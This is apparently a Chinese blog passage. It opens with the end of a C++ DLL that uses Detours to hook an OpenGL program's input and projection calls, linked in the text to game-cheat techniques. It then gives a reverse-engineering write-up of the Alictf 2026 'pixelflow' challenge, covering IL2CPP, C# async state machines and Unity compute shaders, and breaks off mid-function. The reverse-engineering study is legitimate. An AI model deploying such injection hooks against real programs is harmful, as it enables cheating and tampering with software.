    if (m_glfwGetKey(p_windows, GLFW_KEY_R) == GLFW_PRESS)
    {
        fov -= 1.0;
    }
    if (m_glfwGetKey(p_windows, GLFW_KEY_T) == GLFW_PRESS)
    {
        fov += 1.0f;
 
    }
  // 用改过的 fov 计算 projection，实现视野拉近/拉远
    view = glm::lookAt(cameraPos, cameraFront + cameraPos, cameraUp);
    projection = glm::perspective(glm::radians(fov), (float)800.0 / (float)600.0, 0.1f, 200.0f);
 
    STACK_FRAME_END
        __asm {
        push p_GetKey_HookPoint
        ret
    }
}
 
// hook uniform 的传参，修改 projection
VOID NAKED Setprojection()
{
    __asm {
        mov ecx, offset projection
        push p_Setprojection
        ret
    }
}
 
// 同上
VOID NAKED Setview()
{
    __asm
    {
        mov ecx, offset view
        push p_Setview
        ret
    }
}
 
BOOL DetourHook()
{
    if (DetourTransactionBegin() == NO_ERROR)
    {
        DetourAttach(&p_windows_HookPoint, Get_p_windows);
        DetourAttach(&p_GetKey_HookPoint, prcessInPut);
        DetourAttach(&p_Setprojection, Setprojection);
        DetourAttach(&p_Setview, Setview);
 
        if (DetourTransactionCommit() == NO_ERROR)
        {
            return TRUE;
        }
    }
    return FALSE;
}
 
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        hModule_EXE = GetModuleHandle(NULL);
        m_glfwGetKey = (pfnglfwGetKey)((DWORD)hModule_EXE + RVA_glfwGetKey);
 
        p_windows_HookPoint = (PVOID)((DWORD)hModule_EXE + RVA_Get_p_windows_HookPoint);
        p_GetKey_HookPoint = (PVOID)((DWORD)hModule_EXE + RVA_Key_HookPoint);
        p_Setprojection = (PVOID)((DWORD)hModule_EXE + RVA_Setprojection_HookPoint);
        p_Setview = (PVOID)((DWORD)hModule_EXE + RVA_SetView_HookPoint);
 
        DetourHook();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

小补充

glBindTexture(GL_TEXTURE_2D, texture1) 绑定第一张纹理。纹理 ID、program ID 也常被外挂拿来辅助区分对象类别。
glDrawArrays(GL_TRIANGLES, 0, 36) 实际发出绘制命令。攻击思路也相通，都是在 draw call 边界读上下文。

Alictf2026 pixelflow

2026-02-26T05:50:26.000Z

c# StateMachine, ezVM, Texture Render, ComputeShader kernel

工具们

.NET 编译产物基本构成

编译一个项目通常得到一个可执行文件和一个 assembly

.cs 源码编译成 IL 装进一个程序集（assembly），常见的形态有

.dll
.exe（Windows 上的“托管 exe”）

跨平台的主体通常是 dll，运行时由 dotnet 去加载它，JIT 成本机指令执行。元数据也会放到里面。

编译得到的可执行文件通常是一个 launcher，负责：

找到合适的 .NET runtime, *.runtimeconfig.json, *.deps.json
启动并加载 assembly

.NET 逆向

IL+元数据

.NET 程序通常编译成中间语言 IL，还有丰富的元数据（类型、方法签名、属性、泛型信息），分析元数据常用 dnspy、ilspy

C# 状态机

async/await 状态机本质是把一个函数切成多段，用 state 组织起来，并用回调把下一段安排在未来执行

async Task<int> Foo()
{
    var a = 1;
    await SomeIO(); // 伪阻塞
    var b = 2;
    return a + b;
}

编译后形成这样的逻辑

class FooStateMachine {
	int state; // 记录状态，保证阻塞结束的运行
	int a; // 需要的局部变量被提升成字段保存起来。阻塞后出现的 b 则不需要
	TaskAwaiter awaiter
	TskCompletionSource<int> tcs; // 用来完成返回的 Task
	
	void MoveNext() {
		try {
			if (state == 0) {
                a = 1;
                awaiter = SomeIO().GetAwaiter();
                if (!awaiter.IsCompleted) {
                    state = 1; // 若操作未完成，async 方法被挂起，调用 OnCompleted 来注册一个“续体”
                    awaiter.OnCompleted(MoveNext); // 注册回调，语义为等这个 awaiter 完成时再调用一次 MoveNext()
                    return;
                }
            }
            if (state == 1) {
                awaiter.GetResult();
                int b = 2;
                tcs.SetResult(a + b);
            }
		} catch (Exception e) {
            tcs.SetException(e);
        }
	}
}

更完全的逻辑

async Task<int> Foo()
{
    A();
    await Bar();
    B();
    return 42;
}

private struct Foo_d__0 : IAsyncStateMachine
{
    public int _state;
    public AsyncTaskMethodBuilder<int> _builder;
    private TaskAwaiter _awaiter;
    private int _result;
    
    public void MoveNext()
    {
        int result;
        try
        {
            if (_state == 0) goto After Await0;
            
            A();
            
            // await Bar();
            var awaiter = Bar().GetAwaiter();
            if (!awaiter.IsCompleted)
            {
                _state = 0;
                _awaiter = awaiter;
                _builder.AwaitUnsafeOnCompleted(ref awaiter, ref this);
                return;
            }
            
        AfterAwait0:
            if (_state == 0)
            {
                awaiter = _awaiter;
                _awaiter = default;
                _state = -1;
            }
            awaiter.GetResult();
            
            B();
            result = 42;
        }
        catch (Exception ex)
        {
            _state = -2;
            _builder.SetException(ex);
            return;
        }
        
        _state = -2;
        _builder.SetResult(result);
    }
    
    public void SetStateMachine(IAsyncStateMachine sm)
        => _builder.SetStateMachine(sm);
}

原方法 Foo() 被改写成

Task<int> Foo()
{
    var sm = new Foo_d__0();
    sm._builder = AsyncTaskMethodBuilder<int>.Create();
    sm._state = -1;
    sm._builder.Start(ref sm);
    return sm._builder.Task;
}

普通 await 可能挂起 async（awaiter.IsCompleted 返回 false），也可能同步直通（awaiter.IsCompleted 返回 true，一般是缓存命中、完成态Task等），await Task.Yield() 强制在 await 处停下等待回调，制造一个必定异步的切分点

反编译

反编译器做语法糖重建，可能出现 async

命名风格

00000000 struct Controller_o // sizeof=0x90
00000000 {
00000000     Controller_c *klass;
00000008     void *monitor;
00000010     Controller_Fields fields;
00000090 };

00000000 struct Controller_c // sizeof=0x178
00000000 {
00000000     Il2CppClass_1 _1;
000000B8     void *static_fields;
000000C0     Il2CppRGCTXData *rgctx_data;
000000C8     Il2CppClass_2 _2;
00000138     Controller_VTable vtable;
00000178 };

00000000 struct __cppobj Controller_Fields : UnityEngine_MonoBehaviour_Fields // sizeof=0x80
00000000 {                                       // XREF: Controller_o/r
00000010     struct TMPro_TMP_InputField_o *InputField0;
00000018     struct UnityEngine_UI_Button_o *Button0;
00000020     struct UnityEngine_ComputeShader_o *Shader0;
00000028     struct UnityEngine_Texture2D_o *Tex0;
00000030     struct UnityEngine_Texture2D_o *Tex1;
00000038     struct UnityEngine_Vector2_o tileScale;
00000040     float scrollSpeed;
00000044     float rotationDegrees;
00000048     struct UnityEngine_RenderTexture_o *TexF;
00000050     struct UnityEngine_Texture2D_o *TexC;
00000058     struct UnityEngine_Texture2D_o *TexV;
00000060     struct UnityEngine_ComputeBuffer_o *Buffer0;
00000068     struct UnityEngine_RenderTexture_o *TexR;
00000070     int32_t K0;
00000074     int32_t K1;
00000078     int32_t K2;
0000007C     // padding byte
0000007D     // padding byte
0000007E     // padding byte
0000007F     // padding byte
00000080 };

*_o 对象实例（Object）
*_c 类（运行时用来描述类型本身的元数据结构）
*_Fields 实例字段区

00000000 struct Controller__Check_d__18_Fields // sizeof=0x58
00000000 {                                       // XREF: Controller__Check_d__18_o/r
00000000     int32_t __1__state;
00000004     // padding byte
00000005     // padding byte
00000006     // padding byte
00000007     // padding byte
00000008     struct System_Runtime_CompilerServices_AsyncVoidMethodBuilder_o __t__builder;
00000028     struct Controller_o *__4__this;
00000030     struct System_Func_byte____Task__o *_uploadFlagAsync_5__2;
00000038     struct System_Func_Task__o *_runEncryptAsync_5__3;
00000040     struct System_Func_Task__o *_runCheckAsync_5__4;
00000048     struct System_Runtime_CompilerServices_TaskAwaiter_byte____o __u__1;
00000050     struct System_Runtime_CompilerServices_TaskAwaiter_o __u__2;
00000058 };

Check_d__18，即 <Check>d__18，表示方法 Check 的 StateMachine type，18 为元数据序号

00000000 struct Controller___Check_b__18_3_d_Fields // sizeof=0x30
00000000 {                                       // XREF: Controller___Check_b__18_3_d_o/r
00000000     int32_t __1__state;
00000004     // padding byte
00000005     // padding byte
00000006     // padding byte
00000007     // padding byte
00000008     struct System_Runtime_CompilerServices_AsyncTaskMethodBuilder_o __t__builder;
00000020     struct Controller_o *__4__this;
00000028     struct System_Runtime_CompilerServices_YieldAwaitable_YieldAwaiter_o __u__1;
00000029     // padding byte
0000002A     // padding byte
0000002B     // padding byte
0000002C     // padding byte
0000002D     // padding byte
0000002E     // padding byte
0000002F     // padding byte
00000030 };

*b_* 即 <Check>b__18_3，表示某个 lambda 被编译器提升后的一个生成方法，3 表示这是 Check 中第四个 lambda

Delegate

很像是一个虚调用

il2cpp:00007FFB93134A27 test    r15, r15
il2cpp:00007FFB93134A2A jz      short loc_7FFB93134A7F
il2cpp:00007FFB93134A2C mov     rax, [r15+18h]
il2cpp:00007FFB93134A30 mov     r8, [r15+28h]
il2cpp:00007FFB93134A34 mov     rdx, r13
il2cpp:00007FFB93134A37 mov     rcx, [r15+40h]
il2cpp:00007FFB93134A3B call    raxil2cpp:00007FFB93134A27 test    r15, r15
il2cpp:00007FFB93134A2A jz      short loc_7FFB93134A7F
il2cpp:00007FFB93134A2C mov     rax, [r15+18h]
il2cpp:00007FFB93134A30 mov     r8, [r15+28h]
il2cpp:00007FFB93134A34 mov     rdx, r13
il2cpp:00007FFB93134A37 mov     rcx, [r15+40h]
il2cpp:00007FFB93134A3B call    rax

c# 中，delegate 是一种类似函数指针的类型，它指向一个静态或实例方法，当指向实例方法时还能带上一个目标对象（实例方法的 this），还能多播（multicast，+= 叠加多个回调）。il2cpp 中，delegate 被写成一个堆对象（Il2CppDelegate），核心字段有：

要调用的函数指针（通常不指向函数本体，而是一个wrapper，详见后文）
target：实例方法需要的 this （静态委托该字段为 null）
method / MethodInfo：方法元信息（反射/泛型/调试/某些调用适配需要）
（多播时）invocation list：一串子 delegate

test    r15, r15	; r15 是 Il2CppDelegate*，为空就不调。相当于 if 
jz      short loc_7FFB93134A7F
mov     rax, [r15+18h]	; 从对象里取一个可执行地址
mov     r8, [r15+28h]
mov     rdx, r13
mov     rcx, [r15+40h]
call    raxil2cpp:00007FFB93134A27 test    r15, r15
jz      short loc_7FFB93134A7F
mov     rax, [r15+18h]
mov     r8, [r15+28h]
mov     rdx, r13
mov     rcx, [r15+40h]
call    rax

alictf 2026 pixelflow

Il2CppDumper dump 下来 Assembly-CSharp.dll 用 ilspy 看一眼

迁移注记原文图片未随仓库迁入：image-20260223175905044image-20260223175905044.png

Controller 瞩目。看一眼，是 UnityEngine.MonoBehaviour 的子类。

UnityEngine.MonoBehaviour

挂在 GameObject 上的行为脚本的基类。有以下特点

必须附着在 GameObject 上
不能用 new 创建（如果 new 的话不会运行生命周期函数
必须通过 AddComponent<T>() 添加

不是普通的 C# 类，而是一个由引擎托管的对象

生命周期函数

MonoBehaviour 定义了一套由引擎自动调用的回调函数，常见的声明周期顺序是：

Awake() 对象被加载时调用，用于初始化
Start() 第一次启动时调用
Update() 每帧调用一次
LateUpdate() 在 Update 之后执行，常用于相机跟随等收尾工作
FixedUpdate() 固定时间间隔调用，用于物理计算
OnDestroy() 对象被销毁时调用

继承后

继承 MonoBehaviour 后，可以：

监听触发器（OnTriggerEnter）
监听碰撞（OnCollisionEnter）
使用 Unity 的系统事件
…

因此按钮绑定的逻辑和它强相关

Start()

void Controller__Start(Controller_o *this, const MethodInfo *method)
{
  Controller_o *v2; // rdi
  struct UnityEngine_UI_Button_o *Button0; // rax
  UnityEngine_Events_UnityEvent_o *m_OnClick; // rbx
  UnityEngine_AI_NavMesh_OnNavMeshPreUpdate_o *v5; // rsi
  int32_t Kernel; // eax
  int32_t v7; // eax
  int32_t v8; // eax
  __int64 v9; // rdx
  UnityEngine_ComputeBuffer_o *v10; // rbx
  UnityEngine_ComputeBuffer_o *Buffer0; // rbx
  __int64 v12; // rax
  Il2CppObject *object; // rax
  Il2CppObject *v14; // rax
  __int64 v15; // rdx
  UnityEngine_RenderTexture_o *v16; // rbx

  v2 = this;
  if ( !byte_180F4C9A0 )
  {
    sub_180157800(&UnityEngine_ComputeBuffer_TypeInfo);
    sub_180157800(&Method_Controller_Check__);
    sub_180157800(&int___TypeInfo);
    sub_180157800(&UnityEngine_RenderTexture_TypeInfo);
    sub_180157800(&UnityEngine_Events_UnityAction_TypeInfo);
    sub_180157800(&StringLiteral_4359);
    sub_180157800(&StringLiteral_3332);
    sub_180157800(&StringLiteral_3956);
    sub_180157800(&StringLiteral_3328);
    sub_180157800(&StringLiteral_3330);
    sub_180157800(&StringLiteral_1742);
    sub_180157800(&StringLiteral_312);
    sub_180157800(&StringLiteral_1800);
    sub_180157800(&StringLiteral_320);
    sub_180157800(&StringLiteral_1730);
    byte_180F4C9A0 = 1;
  } // il2cpp 常见的 lazy init，把后面用到的类型信息、方法指针、字符串常量加载进来
   
  // 绑定回调
  Button0 = v2->fields.Button0;
  if ( !Button0 )
    goto LABEL_27;
  m_OnClick = Button0->fields.m_OnClick;
  v5 = sub_1800F5060(UnityEngine_Events_UnityAction_TypeInfo, method); // new 一个 UnityAction 实例
  UnityEngine_AI_NavMesh_OnNavMeshPreUpdate___ctor(v5, v2, Method_Controller_Check__, 0); // 构造 UnityAction：target = this, method = Controller.Check。反编译成 navmesh 应该是类型判断错位
  if ( !m_OnClick )
    goto LABEL_27;
  UnityEngine_Events_UnityEvent__AddListener(m_OnClick, v5, 0);
  this = v2->fields.Shader0; // 把 UnityAction 加到按钮 onClick
  if ( !this )
    goto LABEL_27;
    
  // ComputeShader: 查三个 kernel (K0, K1, K2)，分别绑定 TexR/Tex0/Tex1 三张纹理
  Kernel = UnityEngine_ComputeShader__FindKernel(this, StringLiteral_3328, 0); // -> K0
  this = v2->fields.Shader0;
  v2->fields.K0 = Kernel;
  if ( !this )
    goto LABEL_27;
  v7 = UnityEngine_ComputeShader__FindKernel(this, StringLiteral_3330, 0); // -> K1
  this = v2->fields.Shader0;
  v2->fields.K1 = v7;
  if ( !this )
    goto LABEL_27;
  v8 = UnityEngine_ComputeShader__FindKernel(this, StringLiteral_3332, 0); // -> K2
  this = v2->fields.Shader0;
  v2->fields.K2 = v8;
  if ( !this )
    goto LABEL_27;
  UnityEngine_ComputeShader__SetTexture_6451781712(this, v8, StringLiteral_3956, v2->fields.TexR, 0); // SetTextuer(Shader0, K2, "OutputTex", TexR); StringLiteral_3956 = OutputTex
  this = v2->fields.Shader0;
  if ( !this )
    goto LABEL_27;
  UnityEngine_ComputeShader__SetTexture_6451781712(this, v2->fields.K2, StringLiteral_1800, v2->fields.Tex0, 0); // SetTexture(Shader0, K2, "CorrectTex", Tex0); StringLiteral_1800 = CorrectTex
  this = v2->fields.Shader0;
  if ( !this )
    goto LABEL_27;
  UnityEngine_ComputeShader__SetTexture_6451781712(this, v2->fields.K2, StringLiteral_320, v2->fields.Tex1, 0); // SetTexture(Shader0, K2, "WrongTex", Tex1); StringLiteral_320 = WrongTex
    
  v10 = sub_1800F5060(UnityEngine_ComputeBuffer_TypeInfo, v9);
    
  // 创建 ComputeBuffer：1 个 4 字节的 Buffer，初始值 -1，绑定到 K1/K2
  UnityEngine_ComputeBuffer___ctor(v10, 1, 4, 0);
  v2->fields.Buffer0 = v10;
  sub_180156C70(&v2->fields.Buffer0, v10);
  Buffer0 = v2->fields.Buffer0;
  v12 = sub_180156CF0(int___TypeInfo, 1);
  if ( !v12 )
    goto LABEL_27;
  if ( !*(v12 + 24) )
    sub_1801579E0();
  *(v12 + 32) = -1;
  if ( !Buffer0 )
    goto LABEL_27;
    
  UnityEngine_ComputeBuffer__SetData(Buffer0, v12, 0);
  this = v2->fields.Shader0;
  if ( !this )
    goto LABEL_27;
  UnityEngine_ComputeShader__SetBuffer_6451781152(this, v2->fields.K1, StringLiteral_4359, v2->fields.Buffer0, 0); // StringLiteral_4359 = SharedState
  this = v2->fields.Shader0;
  if ( !this )
    goto LABEL_27;
  UnityEngine_ComputeShader__SetBuffer_6451781152(this, v2->fields.K2, StringLiteral_4359, v2->fields.Buffer0, 0);
    
  if ( !byte_180F4C9A3 )
  {
    sub_180157800(&Method_UnityEngine_Resources_Load_Texture2D___);
    sub_180157800(&StringLiteral_1408);
    sub_180157800(&StringLiteral_1380);
    byte_180F4C9A3 = 1;
  }
    
  // 从 Resources 加载 Texture2D,
  // object = Resources.Load<Texture2D>(ciTex); v2->fields.TexC = object;
  // ciTex 是路径字符串
  object = UnityEngine_Resources__Load_object_(StringLiteral_1380, Method_UnityEngine_Resources_Load_Texture2D___); // StringLiteral = ciTex
  v2->fields.TexC = object;
  sub_180156C70(&v2->fields.TexC, object);
  v14 = UnityEngine_Resources__Load_object_(StringLiteral_1408, Method_UnityEngine_Resources_Load_Texture2D___); // StringLiteral = coTex
  v2->fields.TexV = v14;
  sub_180156C70(&v2->fields.TexV, v14);
    
  this = v2->fields.Shader0;
  if ( !this )
    goto LABEL_27;
  UnityEngine_ComputeShader__SetTexture_6451781712(this, v2->fields.K0, StringLiteral_1742, v2->fields.TexV, 0); // Shader0.SetTexture(K0, CoTex, TexV); StringLiteral = CoTex
  this = v2->fields.Shader0;
  if ( !this )
    goto LABEL_27;
  UnityEngine_ComputeShader__SetTexture_6451781712(this, v2->fields.K1, StringLiteral_1730, v2->fields.TexC, 0); // Shader0.SetTexture(K1, CiTex); StringLiteral = CiTex
    
  // Construct RenderTexture
  // v16 = new RenderTexture(16, 1, 0, 16, 1)
  // v2.fields.TexF = v16
  v16 = sub_1800F5060(UnityEngine_RenderTexture_TypeInfo, v15);
  UnityEngine_RenderTexture___ctor_6451745168(v16, 16, 1, 0, 16, 1, 0);
  v2->fields.TexF = v16;
  sub_180156C70(&v2->fields.TexF, v16);
  this = v2->fields.TexF;
  if ( !this )
    goto LABEL_27;
  UnityEngine_RenderTexture__set_enableRandomWrite(this, 1, 0);
  this = v2->fields.TexF;
  if ( !this )
    goto LABEL_27;
  UnityEngine_Texture__set_filterMode(this, 0, 0);
  this = v2->fields.TexF;
  if ( !this
    || (UnityEngine_Texture__set_wrapMode(this, 1, 0), (this = v2->fields.TexF) == 0)
    || (UnityEngine_RenderTexture__Create(this, 0), (this = v2->fields.Shader0) == 0)
    || (UnityEngine_ComputeShader__SetTexture_6451781712(this, v2->fields.K0, StringLiteral_312, v2->fields.TexF, 0), // StringLiteral = WorkTex
        (this = v2->fields.Shader0) == 0) )
  {
LABEL_27:
    sub_1801579F0(this, method);
  }
  UnityEngine_ComputeShader__SetTexture_6451781712(this, v2->fields.K1, StringLiteral_312, v2->fields.TexF, 0);
}

Unity 渲染链路

图片资源导入引擎得到 Texture2D (由 ComputeShader 读取，计算完成后输出到一个 RenderTexture)

ComputeBuffer (结构化数据，optional)

把 Texture / Buffer 绑定到某个 kernel 的参数槽

ComputeShader(kernel) 计算 Texture2D（模糊处理等）

Shader 将 RenderTexture 渲染出来

// *.compute
#pragma kernel BlurH
#pragma kernel BlurV

Texture2D<float4> _Src;
RWTexture2D<float4> _Dst;
SamplerState samplerLinear;

[numthreads(8,8,1)]
void BlurH(uint3 id : SV_DispatchThreadID) { ... }

[numthreads(8,8,1)]
void BlurV(uint3 id : SV_DispatchThreadID) { ... }

.compute 文件里长这样，C# 与其交互：

FindKernel(“BlurH”) 得到一个 kernelIndex
SetTexture(kernelIndex, “_Src”, tex) / SetBuffer(kernelIndex, “_Particles”, buf) 绑定资源到 kernel
Dispatch(kernelIndex, groupX, groupY, groupZ) 让 GPU 跑起来

ComputeShader

kernel 即核函数，就是一段可以被 GPU 并行执行的函数的入口

int kernel = computeShader.FindKernel("CSMain");
computeShader.Dispatch(kernel, 16, 16, 1); // Dispatch 的三个参数表示线程组数量，线程总数 = numthreads * Dispatch 数量

Texture 不只是贴图，也是一个二/三维的数据容器，常见类型有

Texture2D // 只读
RWTexture2D // 可读写

RWTexture2D Result;
[numthreads(8, 8, 1)]
void CSMain (uint3 id: SV_DispatchThreadID)
{
    float2 uv = id.xy / 512.0;
    Result[id.xy] = float4(uv, 9, 1);
}

Controller.Check()

void Controller__Check(Controller_o *this, const MethodInfo *method)
{
  System_Runtime_CompilerServices_AsyncVoidMethodBuilder_o v3; // [rsp+20h] [rbp-88h] BYREF
  Controller__Check_d__18_o v4; // [rsp+40h] [rbp-68h] BYREF

  if ( !byte_180F4C9A2 )
  {
    sub_180157800(&Method_System_Runtime_CompilerServices_AsyncVoidMethodBuilder_Start_Controller__Check_d__18___);
    byte_180F4C9A2 = 1;
  }
  memset(&v4, 0, sizeof(v4)); // 状态机结构体清零
  v4.fields.__t__builder = *System_Runtime_CompilerServices_AsyncVoidMethodBuilder__Create(&v3, 0); // 创建 async void 的 builder（负责异常传播、继续执行、调度等）
  sub_180156C70(&v4.fields.__t__builder, 0);
  v4.fields.__4__this = this; // 把外层 Controller 实例捕获进去（等价于 C# 中的 this 被 state machine 持有）
  sub_180156C70(&v4.fields.__4__this, this);
  v4.fields.__1__state = -1; // 初始化 state，-1 表示尚未进入任何 await 分支
  System_Runtime_CompilerServices_AsyncVoidMethodBuilder__Start_Controller__Check_d__18_(&v4.fields.__t__builder, &v4);// 启动状态机，内部调用 MoveNext()
}

这个函数是一个 async void 方法的启动器（真正的逻辑在 Controller__Check_d_18__），有以下特征：

用了 System.Runtime.CompilerServices.AsyncVoidMethodBuilder
调用了 AsyncVoidMethodBuilder.Create()
__1__state = -1
AsyncVoidMethodBuilder.Start<TStateMachine>(ref builder, ref stateMachine)

AsyncVoidMethodBuilder.Start() 里面可以找到对 MoveNext() 的调用，这就是核心逻辑

MoveNext()

监听 Button 绑定到 Check()，做一些 kernel 的初始化和绑定

void Controller__Check_d__18__MoveNext(Controller__Check_d__18_o *this, const MethodInfo *method)
{
  Il2CppObject *_4__this; // rdi
  __int64 v4; // rsi
  __int64 v5; // rdx
  UnityEngine_UIElements_UIElementsRuntimeUtility_CreateRuntimePanelDelegate_o *v6; // r15
  __int64 v7; // rdx
  UnityEngine_UIElements_GetViewDataDictionary_o *v8; // r15
  __int64 v9; // rdx
  UnityEngine_UIElements_GetViewDataDictionary_o *v10; // r15
  __int64 v11; // rdx
  __int64 v12; // rcx
  System_Threading_Tasks_Task_TResult__o *v13; // rax
  __int64 v14; // rdx
  __int64 v15; // rcx
  Il2CppObject *Result; // rax
  __int64 v17; // rdx
  __int64 v18; // rcx
  struct System_Func_byte____Task__o *uploadFlagAsync_5__2; // rcx
  System_Threading_Tasks_Task_o *v20; // rax
  __int64 v21; // rdx
  __int64 v22; // rcx
  __int64 v23; // rdx
  struct System_Func_Task__o *runEncryptAsync_5__3; // rcx
  System_Threading_Tasks_Task_o *v25; // rax
  __int64 v26; // rdx
  __int64 v27; // rcx
  __int64 v28; // rdx
  struct System_Func_Task__o *v29; // rcx
  System_Threading_Tasks_Task_o *v30; // rax
  __int64 v31; // rdx
  __int64 v32; // rcx
  __int64 v33; // rdx
  struct System_Func_Task__o *v34; // rcx
  System_Threading_Tasks_Task_o *v35; // rax
  __int64 v36; // rdx
  __int64 v37; // rcx
  __int64 v38; // rdx
  struct System_Func_Task__o *runCheckAsync_5__4; // rcx
  System_Threading_Tasks_Task_o *v40; // rax
  __int64 v41; // rdx
  __int64 v42; // rcx
  UnityEngine_ComputeBuffer_o *klass; // rdi
  __int64 v44; // rax
  __int64 v45; // rdx
  __int64 v46; // rcx
  System_Runtime_CompilerServices_ConfiguredTaskAwaitable_ConfiguredTaskAwaiter_TResult__o v47; // [rsp+80h] [rbp+18h] BYREF

  if ( !byte_180F4C9B1 )
  {
    sub_180157800(&Method_System_Runtime_CompilerServices_AsyncVoidMethodBuilder_AwaitUnsafeOnCompleted_TaskAwaiter_byte_____Controller__Check_d__18___);
    sub_180157800(&Method_System_Runtime_CompilerServices_AsyncVoidMethodBuilder_AwaitUnsafeOnCompleted_TaskAwaiter__Controller__Check_d__18___);
    sub_180157800(&Method_Controller__Check_b__18_0__);
    sub_180157800(&Method_Controller__Check_b__18_1__);
    sub_180157800(&Method_Controller__Check_b__18_2__);
    sub_180157800(&Method_Controller__Check_b__18_3__);
    sub_180157800(&System_Func_Task__TypeInfo);
    sub_180157800(&System_Func_Task_byte_____TypeInfo);
    sub_180157800(&System_Func_byte____Task__TypeInfo);
    sub_180157800(&int___TypeInfo);
    sub_180157800(&Method_System_Runtime_CompilerServices_TaskAwaiter_byte____GetResult__);
    sub_180157800(&Method_System_Runtime_CompilerServices_TaskAwaiter_byte____get_IsCompleted__);
    sub_180157800(&Method_System_Threading_Tasks_Task_byte____GetAwaiter__);
    byte_180F4C9B1 = 1;
  }
  *&v47.fields.m_continueOnCapturedContext = 0;
  v47.fields.m_task = 0;
  _4__this = this->fields.__4__this;
  switch ( this->fields.__1__state )	// 第一次进入 default 分支，之后恢复对应的 await，共 6 次
  {
    case 0:
      *&v47.fields.m_continueOnCapturedContext = this->fields.__u__1.fields.m_task;
      this->fields.__u__1.fields.m_task = 0;
      this->fields.__1__state = -1;
      goto LABEL_13;
    case 1:
      v47.fields.m_task = this->fields.__u__2.fields.m_task;
      this->fields.__u__2.fields.m_task = 0;
      this->fields.__1__state = -1;
      goto LABEL_17;
    case 2:
      v47.fields.m_task = this->fields.__u__2.fields.m_task;
      this->fields.__u__2.fields.m_task = 0;
      this->fields.__1__state = -1;
      goto LABEL_20;
    case 3:
      v47.fields.m_task = this->fields.__u__2.fields.m_task;
      this->fields.__u__2.fields.m_task = 0;
      this->fields.__1__state = -1;
      goto LABEL_23;
    case 4:
      v47.fields.m_task = this->fields.__u__2.fields.m_task;
      this->fields.__u__2.fields.m_task = 0;
      this->fields.__1__state = -1;
      goto LABEL_26;
    case 5:
      v47.fields.m_task = this->fields.__u__2.fields.m_task;
      this->fields.__u__2.fields.m_task = 0;
      this->fields.__1__state = -1;
      goto LABEL_29;
    default:
      // 创建 4 个委托（v4, v6, v8, v10）
      // v4 = new Func<Task<byte[]>>(_4__this, Check_b__18_0);
      v4 = sub_1800F5060(System_Func_Task_byte_____TypeInfo, method);
      UnityEngine_UIElements_GetViewDataDictionary___ctor(v4, _4__this, Method_Controller__Check_b__18_0__, 0); // 编译成 UIElements 依旧是类型判断错位
      // v6 = new Func<byte[], Task>(_4__this, Check_b__18_1);
      v6 = sub_1800F5060(System_Func_byte____Task__TypeInfo, v5);
      UnityEngine_UIElements_UIElementsRuntimeUtility_CreateRuntimePanelDelegate___ctor(
        v6,
        _4__this,
        Method_Controller__Check_b__18_1__,
        0);
      this->fields._uploadFlagAsync_5__2 = v6;
      sub_180156C70(&this->fields._uploadFlagAsync_5__2, v6);
      // v8 = new Func<Task>(_4__this, Check_b__18_2);
      v8 = sub_1800F5060(System_Func_Task__TypeInfo, v7);
      UnityEngine_UIElements_GetViewDataDictionary___ctor(v8, _4__this, Method_Controller__Check_b__18_2__, 0);
      this->fields._runEncryptAsync_5__3 = v8;
      sub_180156C70(&this->fields._runEncryptAsync_5__3, v8);
      // v10 = new Func<Task>(_4__this, Check_b__18_3);
      v10 = sub_1800F5060(System_Func_Task__TypeInfo, v9);
      UnityEngine_UIElements_GetViewDataDictionary___ctor(v10, _4__this, Method_Controller__Check_b__18_3__, 0);
      this->fields._runCheckAsync_5__4 = v10;
      sub_180156C70(&this->fields._runCheckAsync_5__4, v10);
      // 这段 new 了一堆 Func，相当于写了一堆 lambda：
      	/*
        var get = new Func<Task<byte[]>>(() => ... );
        Func<byte[], Task> uploadFlagAsync = (bytes) => ...;
        Func<Task> runEncryptAsync = () => ...;
        Func<Task> runCheckAsync   = () => ...;
        */
          
      if ( !v4 ) // 判断有没有 get 到 byte[] Result
        sub_1801579F0(v12, v11); // 没 get 到抛出 nullException
      v13 = (*(v4 + 24))(*(v4 + 64), *(v4 + 40)); // Task<byte[]> t = v4.Invoke();
      if ( !v13 )
        sub_1801579F0(v15, v14);
      *&v47.fields.m_continueOnCapturedContext = System_Threading_Tasks_Task___Il2CppFullySharedGenericType___GetAwaiter(
                                                   v13,
                                                   Method_System_Threading_Tasks_Task_byte____GetAwaiter__); // awaiter = t.GetAwaiter();
          
      if ( System_Runtime_CompilerServices_ConfiguredTaskAwaitable_ConfiguredTaskAwaiter___Il2CppFullySharedGenericType___get_IsCompleted(
             &v47.fields.m_continueOnCapturedContext,
             Method_System_Runtime_CompilerServices_TaskAwaiter_byte____get_IsCompleted__) ) // 判断 IsCompleted
      {
LABEL_13: // 第一个 await
        Result = System_Runtime_CompilerServices_ConfiguredTaskAwaitable_ConfiguredTaskAwaiter_object___GetResult(
                   &v47.fields.m_continueOnCapturedContext,
                   Method_System_Runtime_CompilerServices_TaskAwaiter_byte____GetResult__); // 先 getResult
        if ( Result )
        {
          // 调 uploadFlagAsync
          uploadFlagAsync_5__2 = this->fields._uploadFlagAsync_5__2;
          if ( !uploadFlagAsync_5__2 )
            sub_1801579F0(0, v17);
          v20 = (uploadFlagAsync_5__2->fields.invoke_impl)(
                  uploadFlagAsync_5__2->fields.method_code,
                  Result,
                  uploadFlagAsync_5__2->fields.method);
          if ( !v20 )
            sub_1801579F0(v22, v21);
          v47.fields.m_task = System_Threading_Tasks_Task__GetAwaiter(v20, 0).fields.m_task;
          if ( !System_Runtime_CompilerServices_ConfiguredTaskAwaitable_ConfiguredTaskAwaiter___Il2CppFullySharedGenericType___get_IsCompleted(
                  &v47,
                  0) )
          {
            this->fields.__1__state = 1;
            this->fields.__u__2.fields.m_task = v47.fields.m_task;
            sub_180156C70(&this->fields.__u__2, 0);
            System_Runtime_CompilerServices_AsyncVoidMethodBuilder__AwaitUnsafeOnCompleted_TaskAwaiter__Controller__Check_d__18_(
              &this->fields.__t__builder,
              &v47,
              this,
              Method_System_Runtime_CompilerServices_AsyncVoidMethodBuilder_AwaitUnsafeOnCompleted_TaskAwaiter__Controller__Check_d__18___);
            return;
          }
LABEL_17: // 第二个 await
          System_Runtime_CompilerServices_TaskAwaiter__GetResult(&v47, 0);
          // 调 runEncryptAsync
